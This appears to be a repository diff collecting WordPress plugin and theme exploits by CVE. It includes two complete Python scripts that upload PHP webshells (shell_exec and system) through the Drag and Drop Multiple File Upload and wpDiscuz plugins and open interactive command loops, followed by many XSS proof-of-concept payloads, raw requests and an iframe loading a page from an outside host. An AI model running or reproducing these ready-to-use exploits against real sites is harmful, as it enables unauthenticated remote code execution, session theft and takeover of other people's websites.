■ ■ ■ ■ ■ ■

CVE-2020-12800/exploit.py

1	+	# Exploit Title: WordPress Plugin "Drag and Drop Multiple File Upload - Contact Form 7" 1.3.3.2 - Unauthenticated Remote Code Execution
2	+	# Date: Disclosed to vendor: 5/11/2020
3	+	# Exploit Author: Austin Martin, [email protected], @amartinsec
4	+	# Vendor Homepage: https://www.codedropz.com/
5	+	# Software Link: https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
6	+	# Version: 1.3.3.2
7	+	# Tested on: WordPress 5.4.1, PHP 7.41
8	+	# CVE : 2020-12800
9	+
10	+	# Notes:
11	+	# At time of disclosure, the WordPress page listed this plugin being used by +10,000 applications
12	+	# Application was patched by vendor within 24 hours of initial disclosure
13	+	# This exploit works bypassing the allowed file types and file type sanitization. If lucky, a PHP file with a reverse shell can be uploaded and accessed
14	+
15	+	# Any file types can be added to the "supported_type" parameter
16	+	# These uploaded files can be accessed at wp-content/uploads/wp_dndcf7_uploads/
17	+	# Dangerous file types such as php have "_.txt" appended to the end creating a text file
18	+	# This can be bypassed by adding '%' to the end of the allowed file type, and the end of the file name
19	+	# ex. "php%" for file type and "shell.php%" for filename
20	+	# The PHP payload in the POC can be easily modified to gain a reverse shell
21	+
22	+	#!/usr/bin/python
23	+	import string
24	+	import random
25	+	import requests
26	+	from bs4 import BeautifulSoup
27	+	import sys
28	+
29	+	payloadurl=""
30	+	def RecurseLinks(base,file):
31	+
32	+	headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"}
33	+	f = requests.get(base, headers=headers)
34	+	soup = BeautifulSoup(f.content, "html.parser")
35	+
36	+	for root in soup.find_all("a"):
37	+	href = root.get("href")
38	+	if (href.startswith("/")):
39	+	do = "nothing"
40	+	elif (href.endswith("/")):
41	+	RecurseLinks(base + href, file)
42	+	else:
43	+	if file in href:
44	+	print ("\n[+] File Found --> " + base + href)
45	+	global payloadurl
46	+	payloadurl = (base+href)
47	+
48	+	def main():
49	+	#os.system('cls')
50	+	print("WordPress Plugin \'Drag and Drop Multiple File Upload - Contact Form 7\' 1.3.3.2 - Unauthenticated Remote Code Execution")
51	+	print("@amartinsec --> Twitter\nCVE:2020-12800\n")
52	+
53	+	#Build The Request
54	+	#Generate random URL for filename
55	+	file = ''.join(random.sample((string.ascii_uppercase + string.digits), 6))
56	+
57	+	urlinput = raw_input("[+] Enter url to the vulnerable WordPress application: ")
58	+
59	+	#Finding the nonce used in the Ajax security string
60	+	print ("\n[+] Searching for security string nonce")
61	+	headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
62	+	homepage = requests.get(urlinput,headers=headers)
63	+	homepage = homepage.text
64	+	homepage = homepage.split("ajax_nonce\":\"",1)[1]
65	+	securitykey = homepage[:10]
66	+	print("[+] Found security string --> " + securitykey)
67	+
68	+	url = urlinput + "/wp-admin/admin-ajax.php"
69	+
70	+	headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
71	+	"Accept": "application/json, text/javascript, /; q=0.01", "Accept-Language": "en-US,en;q=0.5",
72	+	"Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest",
73	+	"Content-Type": "multipart/form-data; boundary=---------------------------350278735926454076983690555601",
74	+	}
75	+	data = "-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"supported_type\"\r\n\r\n" \
76	+	"php%\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"size_limit\"\r\n\r\n" \
77	+	"5242880\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\n" \
78	+	"dnd_codedropz_upload\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"type" \
79	+	"\"\r\n\r\nclick\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"security\"\r" \
80	+	"\n\r\n" + securitykey +"\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"upload-file\"; " \
81	+	"filename=\"" + file +".php%\"\r\nContent-Type: text/plain\r\n\r\n" \
82	+	"<?php echo shell_exec($_GET['e'].' 2>&1'); ?>" \
83	+	"\r\n-----------------------------350278735926454076983690555601--\r\n"
84	+
85	+	print "\n[+] Sending payload to target"
86	+
87	+	response = requests.post(url, headers=headers, data=data)
88	+
89	+	if "200" in str(response):
90	+	print("[+] Looks like a successful file upload!\n")
91	+
92	+
93	+	elif "403" in str(response):
94	+	print("\nFile Upload Failed")
95	+	print("403 in response. Check security string")
96	+	sys.exit(1)
97	+
98	+	else:
99	+	print("File upload failed. Try the manual way with Burp")
100	+	sys.exit(1)
101	+
102	+	print("[+] Crawling for the uploaded file. This may take a minute...")
103	+	print("[+] Searching for " + file + ".php")
104	+
105	+	RecurseLinks(urlinput + "/wp-content/uploads/",file)
106	+
107	+	if payloadurl == "":
108	+	print("Can't find the file on the web server")
109	+	print("Try the manual method")
110	+	sys.exit(1)
111	+
112	+	#If all goes well, we can now send requests for RCE
113	+	print("[+] Success\n")
114	+	while True:
115	+	cmd= raw_input("[+] CMD: ")
116	+	headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
117	+	request = requests.get(payloadurl + "?e=" + cmd, headers=headers)
118	+	print request.text
119	+
120	+	if __name__ == "__main__":
121	+	main()
122	+

CVE-2020-12800/get-pip.py

Diff is too large to be displayed.

■ ■ ■ ■ ■ ■

CVE-2020-24186-WordPress-wpDiscuz-7.0.4-RCE/README.md

1	+	# POC CVE-2020-24186-wpDiscuz-7.0.4-RCE
2	+
3	+	WordPress wpDiscuz 7.0.4 Remote Code Execution
4	+
5	+	- A Remote Code Execution vulnerability exists in the gVectors wpDiscuz plugin 7.0 through 7.0.4 for WordPress, which allows unauthenticated users to upload any type of file, including PHP files via the wmuUploadFiles AJAX action.
6	+
7	+	### Exploit Usage
8	+
9	+	#### Commands:
10	+	- Windows/Linux:
11	+	`$ sudo python3 wpDiscuz_RemoteCodeExec.py -u <Base_Host> -p <BlogPost_URL> `
12	+
13	+	![](https://github.com/hevox/CVE-2020-24186-wpDiscuz-7.0.4-RCE/blob/main/imgs/wordpressdiscuz.png.png)
14	+
15	+	- References:
16	+
17	+	https://www.exploit-db.com/exploits/49967
18	+
19	+	https://packetstormsecurity.com/files/163012/WordPress-wpDiscuz-7.0.4-Remote-Code-Execution.html
20	+
21	+	https://nvd.nist.gov/vuln/detail/CVE-2020-24186
22	+
23	+	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24186
24	+
25	+

CVE-2020-24186-WordPress-wpDiscuz-7.0.4-RCE/imgs/wordpressdiscuz.png.png

■ ■ ■ ■ ■ ■

CVE-2020-24186-WordPress-wpDiscuz-7.0.4-RCE/wpDiscuz_RemoteCodeExec.py

1	+	#!/bin/python3
2	+
3	+	# Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Unauthenticated Remote Code Execution
4	+	# Google Dork: N/A
5	+	# Date: 2021/06/08
6	+	# Exploit Author: Fellipe Oliveira
7	+	# Vendor Homepage: https://gvectors.com/
8	+	# Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
9	+	# Version: wpDiscuz 7.0.4
10	+	# Tested on: Debian9, Windows 7, Windows 10 (Wordpress 5.7.2)
11	+	# CVE : CVE-2020-24186
12	+	# Thanks for the great contribution to the code: Z3roC00l (https://twitter.com/zeroc00I)
13	+
14	+	import requests
15	+	import optparse
16	+	import re
17	+	import random
18	+	import time
19	+	import string
20	+	import json
21	+
22	+	parser = optparse.OptionParser()
23	+	parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://192.168.1.81/blog")
24	+	parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /2021/06/blogpost")
25	+
26	+
27	+	options, args = parser.parse_args()
28	+
29	+	if not options.url or not options.path:
30	+	print('[+] Specify an url target')
31	+	print('[+] Example usage: exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost')
32	+	print('[+] Example help usage: exploit.py -h')
33	+	exit()
34	+
35	+	session = requests.Session()
36	+
37	+	main_url = options.url
38	+	path = options.path
39	+	url_blog = main_url + path
40	+	clean_host = main_url.replace('http://', '').replace('/wordpress','')
41	+
42	+	def banner():
43	+	print('---------------------------------------------------------------')
44	+	print('[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution')
45	+	print('[-] File Upload Bypass Vulnerability - PHP Webshell Upload')
46	+	print('[-] CVE: CVE-2020-24186')
47	+	print('[-] https://github.com/hevox')
48	+	print('--------------------------------------------------------------- \n')
49	+
50	+	def csrfRequest():
51	+	global wmuSec
52	+	global wc_post_id
53	+
54	+	try:
55	+	get_html = session.get(url_blog)
56	+	response_len = str(len(get_html.text))
57	+	response_code = str(get_html.status_code)
58	+	print('[+] Response length:['+response_len+'] \| code:['+response_code+']')
59	+
60	+	raw_wmu = get_html.text.replace(',','\n')
61	+	wmuSec = re.findall('wmuSecurity.*$',raw_wmu,re.MULTILINE)[0].split('"')[2]
62	+	print('[!] Got wmuSecurity value: '+ wmuSec +'')
63	+	raw_postID = get_html.text.replace(',','\n')
64	+	wc_post_id = re.findall('wc_post_id.*$',raw_postID,re.MULTILINE)[0].split('"')[2]
65	+	print('[!] Got wmuSecurity value: '+ wc_post_id +' \n')
66	+
67	+	except requests.exceptions.HTTPError as err:
68	+	print('\n[x] Failed to Connect in: '+url_blog+' ')
69	+	print('[x] This host seems to be Down')
70	+	exit()
71	+
72	+
73	+	def nameRandom():
74	+	global shell_name
75	+	print('[+] Generating random name for Webshell...')
76	+	shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))
77	+	time.sleep(1)
78	+	print('[!] Generated webshell name: '+shell_name+'\n')
79	+
80	+	return shell_name
81	+
82	+
83	+	def shell_upload():
84	+	global shell
85	+	print('[!] Trying to Upload Webshell..')
86	+	try:
87	+	upload_url = main_url + "/wp-admin/admin-ajax.php"
88	+	upload_cookies = {"wordpress_test_cookie": "WP%20Cookie%20check", "wpdiscuz_hide_bubble_hint": "1"}
89	+	upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "/", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------2032192841253859011643762941", "Origin": "http://"+clean_host+"", "Connection": "close", "Referer": url_blog}
90	+	upload_data = "-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwmuUploadFiles\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_nonce\"\r\n\r\n"+wmuSec+"\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmuAttachmentsData\"\r\n\r\n\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\""+shell_name+".php\"\r\nContent-Type: image/png\r\n\r\nGIF689a;\r\n\r\n<?php system($_GET['cmd']); ?>\r\n\x1a\x82\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"postId\"\r\n\r\n"+wc_post_id+"\r\n-----------------------------2032192841253859011643762941--\r\n"
91	+	check = session.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)
92	+	json_object = (json.loads(check.text))
93	+	status = (json_object["success"])
94	+
95	+	get_path = (check.text.replace(',','\n'))
96	+	shell_pret = re.findall('url.*$',get_path,re.MULTILINE)
97	+	find_shell = str(shell_pret)
98	+	raw = (find_shell.replace('\\','').replace('url":"','').replace('\',','').replace('"','').replace('[\'',''))
99	+	shell = (raw.split(" ",1)[0])
100	+
101	+	if status == True:
102	+	print('[+] Upload Success... Webshell path:' +shell+' \n')
103	+	else:
104	+	print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
105	+	exit()
106	+
107	+	except requests.exceptions.HTTPError as conn:
108	+	print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
109	+
110	+	return shell
111	+
112	+
113	+	def code_exec():
114	+	try:
115	+	while True:
116	+	cmd = input('> ')
117	+	codex = session.get(shell + '?cmd='+cmd+'')
118	+	print(codex.text.replace('GIF689a;','').replace('�',''))
119	+	except:
120	+	print('\n[x] Failed to execute PHP code...')
121	+
122	+
123	+	banner()
124	+	csrfRequest()
125	+	nameRandom()
126	+	shell_upload()
127	+	code_exec()

■ ■ ■ ■ ■ ■

CVE-2020-7104/README.md

1	+	# Chained Quiz < 1.1.8.2 - Unauthenticated Reflected XSS
2	+	Description
3	+
4	+	WordPress Plugin Plugin Chained Quiz before 1.1.8.2 suffers from a Reflected XSS vulnerability in the 'total_questions' POST parameter when a user completes a quiz.
5	+
6	+
7	+
8	+	The code in question accepts the 'total_questions' parameter without escaping the special characters:
9	+
10	+
11	+
12	+	models/quiz.php
13	+
14	+
15	+
16	+	$output = str_replace('{{questions}}', $_POST['total_questions'], $output);
17	+
18	+	# Proof of Concept
19	+	```
20	+	<html>
21	+
22	+	<body>
23	+
24	+	<script>history.pushState('', '', '/')</script>
25	+
26	+	<form action="http://localhost/wp-admin/admin-ajax.php" method="POST">
27	+
28	+	<input type="hidden" name="answer" value="x " />
29	+
30	+	<input type="hidden" name="question_id" value="1" />
31	+
32	+	<input type="hidden" name="quiz_id" value="1" />
33	+
34	+	<input type="hidden" name="post_id"a value="5" />
35	+
36	+	<input type="hidden" name="question_type" value="radio" />
37	+
38	+	<input type="hidden" name="points" value="0" />
39	+
40	+	<input type="hidden" name="action" value="chainedquiz_ajax" />
41	+
42	+	<input type="hidden" name="chainedquiz_action" value="answer" />
43	+
44	+	<input type="hidden" name="total_questions" value="1v4918<script>alert(document.cookie)</script>eyjfw" />
45	+
46	+	<input type="submit" value="Submit request" />
47	+
48	+	</form>
49	+
50	+	</body>
51	+
52	+	</html>
53	+	```
54	+

■ ■ ■ ■ ■ ■

CVE-2021-24124/README.md

1	+	# WP Shieldon 1.6.3 - Unauthenticated Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	The WP Shieldon WordPress plugin, versions 1.6.3 and below, were vulnerable to Unauthenticated Reflected Cross-Site Scripting (XSS) when the CAPTCHA page is shown.
5	+
6	+
7	+
8	+	This was due to $_SERVER['REQUEST_URI'] being echoed to a page without any encoding.
9	+
10	+	# Proof of Concept
11	+	```
12	+	http://www.example.com/?'"--></style></scRipt><scRipt>alert(0x000836)</scRipt>
13	+	```
14	+
15	+	# References
16	+	https://wpscan.com/vulnerability/8d0eb0b4-0cc0-44e5-b720-90b01df3a6ee
17	+
18	+	# Poc
19	+	https://www.youtube.com/watch?v=TNVwXSINq0s
20	+

■ ■ ■ ■ ■ ■

CVE-2021-24233/README.md

1	+	# Cooked Pro < 1.7.5.6 - Unauthenticated Reflected Cross Site Scripting (XSS)
2	+	Description
3	+
4	+	The plugin was affected by unauthenticated reflected Cross-Site Scripting issues, due to improper sanitisation of user input while being output back in pages as an arbitrary attribute.
5	+
6	+
7	+	# Proof of Concept
8	+	```
9	+	https://cooked.pro/demo/trial/5snjx6louabhdpg/profile/?t8osi%22%3e%3cscript%3ealert(1)%3c%2fscript%3edr7ag=1
10	+	```
11	+

■ ■ ■ ■ ■ ■

CVE-2021-24235/README.md

1	+	# Goto - Tour & Travel < 2.0 - Unauthenticated Reflected XSS
2	+	Description
3	+
4	+	The theme does not sanitise the keywords and start_date GET parameter on its Tour List page, leading to an unauthenticated reflected Cross-Site Scripting issue.
5	+
6	+	# Proof of Concept
7	+	```
8	+	Payload: <input/Autofocus/%0D*/Onfocus=alert(`m0ze`);alert(document.cookie);//>
9	+
10	+
11	+
12	+	https://boostifythemes.com/demo/wp/goto/tour-list/?keywords=%3Cinput%2FAutofocus%2F%250D%2FOnfocus%3Dalert%28%60m0ze%60%29%3Balert%28document.cookie%29%3B%2F%2F%3E&start_date=%3Cinput%2FAutofocus%2F%250D%2FOnfocus%3Dalert%28%60m0ze%60%29%3Balert%28document.cookie%29%3B%2F%2F%3E&avaibility=13
13	+	```
14	+

■ ■ ■ ■ ■ ■

CVE-2021-24237/README.md

1	+	# Realteo < 1.2.4 - Unauthenticated Reflected Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	The plugin, used by the Findeo Theme, did not properly sanitise the keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page, leading to an unauthenticated reflected Cross-Site Scripting issue.
5	+
6	+	# Proof of Concept
7	+	```
8	+	https://example.com/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);//%22
9	+
10	+
11	+
12	+	https://example.com/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(document.cookie);//%22&search_radius=--!%3E%22%20autofocus%20onfocus=alert(document.cookie);//%22
13	+	```
14	+

■ ■ ■ ■ ■ ■

CVE-2021-24294/README.md

1	+	# DSGVO All in one for WP < 4.0 - Unauthenticated Stored Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	The dsgvoaio_write_log AJAX action of the plugin did not sanitise or escape some POST parameter submitted before outputting them in the Log page in the administrator dashboard (wp-admin/admin.php?page=dsgvoaiofree-show-log). This could allow unauthenticated attackers to gain unauthorised access by using an XSS payload to create a rogue administrator account, which will be trigged when an administrator will view the logs.
5	+
6	+	# Proof of Concept
7	+	```
8	+	POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
9	+
10	+	Accept: application/json, text/javascript, /; q=0.01
11	+
12	+	Accept-Language: en-GB,en;q=0.5
13	+
14	+	Accept-Encoding: gzip, deflate
15	+
16	+	X-Requested-With: XMLHttpRequest
17	+
18	+	Connection: close
19	+
20	+	Content-Type: application/x-www-form-urlencoded
21	+
22	+	Content-Length: 180
23	+
24	+
25	+
26	+	action=dsgvoaio_write_log&id=%3cimg%20src%20onerror%3dalert(%2fXSS-Id%2f)%3e&state=true&key=wordpressmain&name=All&allvalue%5B%5D=%3cimg%20src%20onerror%3dalert(%2fXSS-value%2f)%3e
27	+
28	+
29	+
30	+
31	+
32	+	Payload will be processed by update_option(). This will lead into escaped single and double qoutes. You can use
33	+
34	+	the String.fromCharCode string construction to bypass this limitation, such as %3Cimg%20src%3D1%20style%3Ddisplay%3Anone%20onerror%3Deval(String.fromCharCode(97%2C108%2C101%2C114%2C116%2C40%2C49%2C50%2C41))%3E
35	+	```
36	+

■ ■ ■ ■ ■ ■

CVE-2021-24298/README.md

1	+	# Simple Giveaways < 2.36.2 - Unauthenticated Reflected Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	The method and share GET parameters of the Giveaway pages were not sanitised, validated or escaped before being output back in the pages, thus leading to reflected XSS
5	+
6	+	# Proof of Concept
7	+	```
8	+	https://example.com/giveaway/mygiveaways/?share=%3Cscript%3Ealert(document.domain)%3C/script%3E
9	+
10	+	https://example.com/giveaway/mygiveaways/?method=%3Cscript%3Ealert(/XSS/)%3C/script%3E
11	+	```
12	+

■ ■ ■ ■ ■ ■

CVE-2021-24304/README.md

1	+	# Newsmag < 5.0 - Unauthenticated Reflected Cross-site Scripting (XSS)
2	+	Description
3	+	<br>
4	+	The theme does not sanitise the td_block_id parameter in its td_ajax_block AJAX action, leading to an unauthenticated Reflected Cross-site Scripting (XSS) vulnerability.
5	+	<br>
6	+	Due to a nonce check, this issue is only exploitable on unauthenticated users (for as long as the nonce used in the request is valid)
7	+	<br>
8	+	# Proof of Concept
9	+	```
10	+	POST /wp-admin/admin-ajax.php HTTP/1.1
11	+
12	+	Accept: application/json, text/javascript, /; q=0.01
13	+
14	+	Accept-Language: en-GB,en;q=0.5
15	+
16	+	Accept-Encoding: gzip, deflate
17	+
18	+	Content-Type: application/x-www-form-urlencoded; charset=UTF-8
19	+
20	+	X-Requested-With: XMLHttpRequest
21	+
22	+	Content-Length: 136
23	+
24	+	Connection: close
25	+
26	+
27	+
28	+	action=td_ajax_block&td_block_id="><img+src+onerror=alert(document.domain)>&block_type=td_block_related_posts&td_magic_token=59c7ec0654
29	+	```
30	+	# References
31	+	https://wpscan.com/vulnerability/bb71f2f9-76bd-43f4-a8c9-35771dd28dff
32	+

■ ■ ■ ■ ■ ■

CVE-2021-24305/README.md

1	+	# Target First Plugin 2.0 - Unauthenticated Stored XSS via Licence Key
2	+	Description
3	+
4	+	The Target First WordPress Plugin, also previously known as Watcheezy, suffered from a critical unauthenticated stored XSS vulnerability.
5	+
6	+
7	+
8	+	An attacker could change the licence key value through a POST on any URL with the "weeWzKey" parameter that will be save as the "weeID" option. The input value is not sanitized. Authentication and credentials are not verified by the plugin.
9	+
10	+
11	+
12	+	Moreover, the licence key value (weeID) is appended in the page footer on every page of the website without URL sanitization:
13	+
14	+
15	+
16	+	echo "<!-- Target First -->\n<script type=\"text/javascript\" src=\"//www.watcheezy.net/deliver/targetfirst.js?wzkey=".get_option('weeID')."\" async defer></script>\n<!-- END Target First -->";
17	+
18	+
19	+
20	+	Note: The vendor released a fix, as version 1.0, instead of 2.1 or 3.0 (go figure ...)
21	+
22	+	# Proof of Concept
23	+	```
24	+	curl -X POST https://mysite.com/ -d 'weeWzKey="></script><script>alert(1)</script>'
25	+	```
26	+
27	+

■ ■ ■ ■ ■ ■

CVE-2021-24316/README.md

1	+	# Mediumish <= 1.0.47 - Unauthenticated Reflected Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	The search feature of the theme does not properly sanitise it's 's' GET parameter before output it back the page, leading to the Cross-SIte Scripting issue.
5	+
6	+
7	+
8	+	The vendor has been unresponsive to any form of contact
9	+
10	+	# Proof of Concept
11	+	```
12	+	https://example.com/?post_type=post&s=%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E
13	+
14	+
15	+
16	+	https://www.themepush.com/demo-mediumish/?post_type=post&s=%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E
17	+	```
18	+

■ ■ ■ ■ ■ ■

CVE-2021-24320/README.md

1	+	# Bello < 1.6.0 - Unauthenticated Reflected XSS & XFS
2	+	Description
3	+
4	+	The theme did not properly sanitise and escape its listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameter in ints listing page, leading to reflected Cross-Site Scripting issues.
5	+
6	+	# Proof of Concept
7	+	```
8	+	### -- [ Payloads: ]
9	+
10	+
11	+
12	+	[$] 13"-->">'` -- `<!--<img src="--><img src=x onerror=(alert)(`m0ze`);>
13	+
14	+
15	+
16	+	[$] <!--><embed src=https://m0ze.ru/payload/xfsii.html><iframe src=https://m0ze.ru/payload/xfsii.html></iframe>
17	+
18	+
19	+
20	+
21	+
22	+	### -- [ PoC \| Unauthenticated Reflected XSS & XFS \| Listing search query: ]
23	+
24	+
25	+
26	+	[!] https://bello.bold-themes.com/main-demo/listing/?listing_list_view=standard13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`listing_list_view`);%3E&bt_bb_listing_field_my_lat=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lat`);%3E&bt_bb_listing_field_my_lng=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lng`);%3E&bt_bb_listing_field_distance_value=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_distance_value`);%3E&bt_bb_listing_field_my_lat_default=13&bt_bb_listing_field_my_lng_default=13&bt_bb_listing_field_keyword=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_keyword`);%3E&bt_bb_listing_field_location_autocomplete=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_location_autocomplete`);%3E&bt_bb_listing_field_category=all&bt_bb_listing_field_price_range_from=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_from`);%3E&bt_bb_listing_field_price_range_to=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_to`);%3E
27	+
28	+
29	+
30	+	[!] GET /main-demo/listing/?listing_list_view=standard13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`listing_list_view`);%3E&bt_bb_listing_field_my_lat=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lat`);%3E&bt_bb_listing_field_my_lng=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lng`);%3E&bt_bb_listing_field_distance_value=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_distance_value`);%3E&bt_bb_listing_field_my_lat_default=13&bt_bb_listing_field_my_lng_default=13&bt_bb_listing_field_keyword=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_keyword`);%3E&bt_bb_listing_field_location_autocomplete=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_location_autocomplete`);%3E&bt_bb_listing_field_category=all&bt_bb_listing_field_price_range_from=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_from`);%3E&bt_bb_listing_field_price_range_to=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_to`);%3E HTTP/1.1
31	+
32	+	Host: bello.bold-themes.com
33	+
34	+	```
35	+

■ ■ ■ ■ ■ ■

CVE-2021-24335/README.md

1	+	# Car Repair Services < 4.0 - Unauthenticated Reflected XSS & XFS
2	+	Description
3	+
4	+	The theme did not properly sanitise its serviceestimatekey search parameter before outputting it back in the page, leading to a reflected Cross-Site Scripting issue
5	+
6	+	# Proof of Concept
7	+	```
8	+	https://smartdata.tonytemplates.com/car-repair-service-v4/car1/estimateresult/result?s=&serviceestimatekey=<img+src%3Dx+onerror%3Dalert(`m0ze`)%3B>
9	+	```
10	+

■ ■ ■ ■ ■ ■

CVE-2021-24350/README.md

1	+	# Visitors <= 0.3 - Unauthenticated Stored Cross-Site Scripting (XSS)
2	+	Description
3	+	<br>
4	+	The plugin is affected by an Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability. The plugin would display the user's user agent string without validation or encoding within the WordPress admin panel.
5	+	<br>
6	+	# Proof of Concept
7	+	```
8	+	$ curl -i http://localhost:10008/ --user-agent "</script><script>alert(1)</script>"
9	+
10	+	The payload will be executed on the "visitors" page within the WordPress admin panel.
11	+	```
12	+	# References
13	+	https://wpscan.com/vulnerability/06f1889d-8e2f-481a-b91b-3a8008e00ffc
14	+

■ ■ ■ ■ ■ ■

CVE-2021-24351/README.md

1	+	# The Plus Addons for Elementor < 4.1.12 - Reflected Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	The theplus_more_post AJAX action of the plugin did not properly sanitise some of its fields, leading to a reflected Cross-Site Scripting (exploitable on both unauthenticated and authenticated users)
5	+
6	+	# Proof of Concept
7	+	```
8	+	POST /wp-admin/admin-ajax.php HTTP/1.1
9	+
10	+	Accept: application/json, text/javascript, /; q=0.01
11	+
12	+	Accept-Language: en-GB,en;q=0.5
13	+
14	+	Accept-Encoding: gzip, deflate
15	+
16	+	Content-Type: application/x-www-form-urlencoded; charset=UTF-8
17	+
18	+	X-Requested-With: XMLHttpRequest
19	+
20	+	Content-Length: 174
21	+
22	+	Connection: close
23	+
24	+
25	+
26	+	action=theplus_more_post&post_type=any&posts_per_page=10&offset=0&display_button=yes&post_load=products&animated_columns=test%22%3e%3cscript%3ealert(%2fXSS%2f)%3c%2fscript%3e
27	+	```
28	+

■ ■ ■ ■ ■ ■

CVE-2021-24429/README.md

1	+	# Salon Booking System < 6.3.1 - Unauthenticated Stored Cross-Site Scripting (XSS)
2	+	Description
3	+
4	+	The plugin does not properly sanitise and escape the First Name field when booking an appointment, allowing low privilege users such as subscriber to set JavaScript in them, leading to a Stored Cross-Site Scripting (XSS) vulnerability. The Payload will then be triggered when an admin visits the "Calendar" page and the malicious script is executed in the admin context.
5	+
6	+	# Proof of Concept
7	+	```
8	+	When booking an appointment, either as unauthenticated or any authenticated user, put the following payload in the First Name field: test" onfocus=alert('XSS')
9	+
10	+
11	+
12	+	The payload will be triggered when an admin will access the appointment via the 'Calendar' page
13	+
